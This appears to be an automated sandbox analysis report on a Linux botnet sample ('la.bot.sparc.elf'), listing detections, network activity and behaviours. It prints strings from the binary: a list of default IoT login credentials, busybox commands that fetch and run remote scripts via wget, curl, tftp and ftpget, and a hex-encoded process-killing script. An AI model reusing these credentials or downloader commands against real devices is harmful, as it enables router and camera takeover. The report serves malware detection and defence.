Linux Analysis Report
la.bot.sparc.elf

Overview

General Information

Sample name: la.bot.sparc.elf
Analysis ID: 1541746
MD5: 669c34b2771728b7c5595f8032cc0285
SHA1: fc7c08a93c8852dc94a066cc8e7dc4ac878b6be5
SHA256: 3a57488e5ea3b82f0763f2d54e12bd9e19741e74b4be5cbfbf6b7c88e050cf08
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 68
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Sends malformed DNS queries
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.sparc.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.sparc.elf ReversingLabs: Detection: 34%
Source: la.bot.sparc.elf Virustotal: Detection: 33% Perma Link
Found strings indicative of a multi-platform dropper
Source: la.bot.sparc.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.sparc.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.sparc.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate/mountinfo
Source: la.bot.sparc.elf String: /fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp/maps/lib//proc/self/exe/dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppd
Source: la.bot.sparc.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Sends malformed DNS queries
Source: global traffic DNS traffic detected: malformed DNS query: 2joints.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: 75cents.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: www.codingdrunk.in. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: nineteen.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: fortyfivehundred.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: ru.coziest.lol. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: eighteen.pirate. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: f.codingdrunk. . [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: imaverygoodbadboy.libre. [malformed]
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.14:52408 -> 38.54.122.172:23789
Sample listens on a socket
Source: /tmp/la.bot.sparc.elf (PID: 5480) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 206.209.143.235
Source: unknown TCP traffic detected without corresponding DNS query: 175.238.108.71
Source: unknown TCP traffic detected without corresponding DNS query: 97.20.13.24
Source: unknown TCP traffic detected without corresponding DNS query: 206.209.143.235
Source: unknown TCP traffic detected without corresponding DNS query: 175.238.108.71
Source: unknown TCP traffic detected without corresponding DNS query: 97.20.13.24
Source: unknown TCP traffic detected without corresponding DNS query: 14.235.119.139
Source: unknown TCP traffic detected without corresponding DNS query: 186.215.209.77
Source: unknown TCP traffic detected without corresponding DNS query: 14.235.119.139
Source: unknown TCP traffic detected without corresponding DNS query: 223.56.220.149
Source: unknown TCP traffic detected without corresponding DNS query: 186.215.209.77
Source: unknown TCP traffic detected without corresponding DNS query: 207.179.236.16
Source: unknown TCP traffic detected without corresponding DNS query: 223.56.220.149
Source: unknown TCP traffic detected without corresponding DNS query: 151.175.84.12
Source: unknown TCP traffic detected without corresponding DNS query: 207.179.236.16
Source: unknown TCP traffic detected without corresponding DNS query: 194.219.52.7
Source: unknown TCP traffic detected without corresponding DNS query: 151.175.84.12
Source: unknown TCP traffic detected without corresponding DNS query: 213.19.176.131
Source: unknown TCP traffic detected without corresponding DNS query: 194.219.52.7
Source: unknown TCP traffic detected without corresponding DNS query: 213.19.176.131
Source: unknown TCP traffic detected without corresponding DNS query: 194.134.72.55
Source: unknown TCP traffic detected without corresponding DNS query: 170.232.186.1
Source: unknown TCP traffic detected without corresponding DNS query: 194.134.72.55
Source: unknown TCP traffic detected without corresponding DNS query: 40.20.84.104
Source: unknown TCP traffic detected without corresponding DNS query: 170.232.186.1
Source: unknown TCP traffic detected without corresponding DNS query: 40.20.84.104
Source: unknown TCP traffic detected without corresponding DNS query: 57.183.6.64
Source: unknown TCP traffic detected without corresponding DNS query: 71.11.190.99
Source: unknown TCP traffic detected without corresponding DNS query: 162.100.55.214
Source: unknown TCP traffic detected without corresponding DNS query: 57.183.6.64
Source: unknown TCP traffic detected without corresponding DNS query: 62.31.252.40
Source: unknown TCP traffic detected without corresponding DNS query: 71.11.190.99
Source: unknown TCP traffic detected without corresponding DNS query: 215.66.90.115
Source: unknown TCP traffic detected without corresponding DNS query: 162.100.55.214
Source: unknown TCP traffic detected without corresponding DNS query: 62.31.252.40
Source: unknown TCP traffic detected without corresponding DNS query: 174.52.21.76
Source: unknown TCP traffic detected without corresponding DNS query: 215.66.90.115
Source: unknown TCP traffic detected without corresponding DNS query: 76.139.227.0
Source: unknown TCP traffic detected without corresponding DNS query: 217.105.185.74
Source: unknown TCP traffic detected without corresponding DNS query: 174.52.21.76
Source: unknown TCP traffic detected without corresponding DNS query: 53.67.186.24
Source: unknown TCP traffic detected without corresponding DNS query: 76.139.227.0
Source: unknown TCP traffic detected without corresponding DNS query: 186.114.226.14
Source: unknown TCP traffic detected without corresponding DNS query: 217.105.185.74
Source: unknown TCP traffic detected without corresponding DNS query: 51.199.253.24
Source: unknown TCP traffic detected without corresponding DNS query: 53.67.186.24
Source: unknown TCP traffic detected without corresponding DNS query: 59.68.103.252
Source: unknown TCP traffic detected without corresponding DNS query: 186.114.226.14
Source: unknown TCP traffic detected without corresponding DNS query: 81.215.172.174
Source: unknown TCP traffic detected without corresponding DNS query: 51.199.253.24
Source: global traffic DNS traffic detected: DNS query: 2joints.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: 75cents.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: www.codingdrunk.in. [malformed]
Source: global traffic DNS traffic detected: DNS query: nineteen.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: fortyfivehundred.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: ru.coziest.lol. [malformed]
Source: global traffic DNS traffic detected: DNS query: eighteen.pirate. [malformed]
Source: global traffic DNS traffic detected: DNS query: f.codingdrunk. . [malformed]
Source: global traffic DNS traffic detected: DNS query: imaverygoodbadboy.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: nineteen.libre
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.sparc.elf String found in binary or memory: http:///curl.sh
Source: la.bot.sparc.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.sparc.elf (PID: 5482) SIGKILL sent: pid: 940, result: successful Jump to behavior
Source: classification engine Classification label: mal68.troj.evad.linELF@0/0@29/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.sparc.elf (PID: 5483) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.sparc.elf (PID: 5483) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5483) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5483) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5483) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5483) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5483) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5483) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5483) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5483) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5483) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/19/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/240/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/242/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/244/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/245/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/246/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/5/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/247/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/7/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/8/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/129/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/806/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/807/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/928/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/131/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/135/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/378/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/142/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/145/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/268/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/940/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/271/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/273/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/275/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5482) File opened: /proc/276/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.sparc.elf (PID: 5483) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.sparc.elf (PID: 5480) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.sparc.elf, 5480.1.00007ffc95f5e000.00007ffc95f7f000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/la.bot.sparc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sparc.elf
Source: la.bot.sparc.elf, 5480.1.0000556032e1c000.0000556032ea6000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 5480.1.0000556032e1c000.0000556032ea6000.rw-.sdmp Binary or memory string: 2`U!/etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 5480.1.00007ffc95f5e000.00007ffc95f7f000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
86.133.46.242
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
183.159.193.121
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
85.218.240.73
 unknown Denmark
197288 STOFANETDK false
212.244.19.189
 unknown Poland
5617 TPNETPL false
152.247.220.250
 unknown Brazil
26599 TELEFONICABRASILSABR false
175.158.32.242
 unknown Indonesia
4787 ASN-CBNPTCyberindoAditamaID false
84.176.76.182
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
205.228.89.196
 unknown United States
21439 MORGAN-STANLEYGB false
112.50.172.28
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
223.66.110.134
 unknown China
56046 CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN false
2.251.105.30
 unknown Sweden
3301 TELIANET-SWEDENTeliaCompanySE false
43.9.28.127
 unknown Japan 4249 LILLY-ASUS false
21.230.52.10
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
79.12.221.155
 unknown Italy
3269 ASN-IBSNAZIT false
171.137.52.8
 unknown United States
9874 STARHUB-MOBILEStarHubLtdSG false
57.234.176.229
 unknown Belgium
2686 ATGS-MMD-ASUS false
147.89.189.236
 unknown United Kingdom
559 SWITCHPeeringrequestspeeringswitchchEU false
84.229.162.142
 unknown Israel
9116 GOLDENLINES-ASNPartnerCommunicationsMainAutonomousSyste false
50.204.14.139
 unknown United States
14711 INGERSOLL-IMCUS false
13.254.105.192
 unknown United States
16509 AMAZON-02US false
155.111.161.32
 unknown United States
61153 PROCTERGAMBLENCSCDE false
185.226.106.193
 unknown Spain
207046 REDSERVICIOES false
58.185.113.62
 unknown Singapore
3758 SINGNETSingNetSG false
44.102.22.129
 unknown United States
7377 UCSDUS false
39.93.139.79
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
11.219.251.205
 unknown United States
3356 LEVEL3US false
3.142.11.181
 unknown United States
16509 AMAZON-02US false
73.13.231.196
 unknown United States
7922 COMCAST-7922US false
179.255.72.213
 unknown Brazil
8167 BrasilTelecomSA-FilialDistritoFederalBR false
89.43.240.192
 unknown Romania
39425 ELECTROSIM-ASRO false
111.135.108.225
 unknown China
24138 CTTNETChinaTieTongTelecommunicationsCorporationCN false
97.195.248.58
 unknown United States
6167 CELLCO-PARTUS false
100.243.66.80
 unknown United States
21928 T-MOBILE-AS21928US false
56.12.110.22
 unknown United States
2686 ATGS-MMD-ASUS false
186.149.211.84
 unknown Dominican Republic
12066 ALTICEDOMINICANASADO false
12.89.103.160
 unknown United States
7018 ATT-INTERNET4US false
152.39.223.148
 unknown United States
81 NCRENUS false
217.143.93.222
 unknown Sweden
16253 BORDERLIGHT-ASVretgrand18SE false
144.248.71.201
 unknown Belgium
2611 BELNETBE false
180.19.55.200
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
166.135.50.245
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
1.202.84.208
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
52.94.132.23
 unknown United States
16509 AMAZON-02US false
157.229.130.35
 unknown United States
122 UPMC-AS122US false
28.126.183.10
 unknown United States
7922 COMCAST-7922US false
90.155.244.212
 unknown Russian Federation
29124 ISKRATELECOM-ASSEVEN-SKYRU false
214.146.172.166
 unknown United States
721 DNIC-ASBLK-00721-00726US false
186.163.249.28
 unknown Peru
